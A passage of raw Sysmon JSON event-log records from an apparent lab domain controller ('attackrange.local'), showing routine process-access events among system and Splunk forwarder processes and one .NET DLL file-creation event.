12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7579,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E6600C00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E6600C00}","TargetProcessId":"872","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.229\r\nSourceProcessGUID: {90617006-42DE-5F2D-0000-00107C0D0E00}\r\nSourceProcessId: 872\r\nSourceThreadId: 4564\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.229","SourceProcessGUID":"{90617006-42DE-5F2D-0000-00107C0D0E00}","SourceProcessId":"872","SourceThreadId":"4564","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7585,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:39.291\r\nProcessGuid: {90617006-42DE-5F2D-0000-0010DD090E00}\r\nProcessId: 2436\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\984-0\\System.Data.OracleClient.dll\r\nCreationUtcTime: 2020-08-07 12:02:39.291","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:39.291","ProcessGuid":"{90617006-42DE-5F2D-0000-0010DD090E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\984-0\\System.Data.OracleClient.dll","CreationUtcTime":"2020-08-07 12:02:39.291","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7586,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.354\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-0010CF610D00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:39.354","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-0010CF610D00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7587,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:39.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-0010CF610D00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 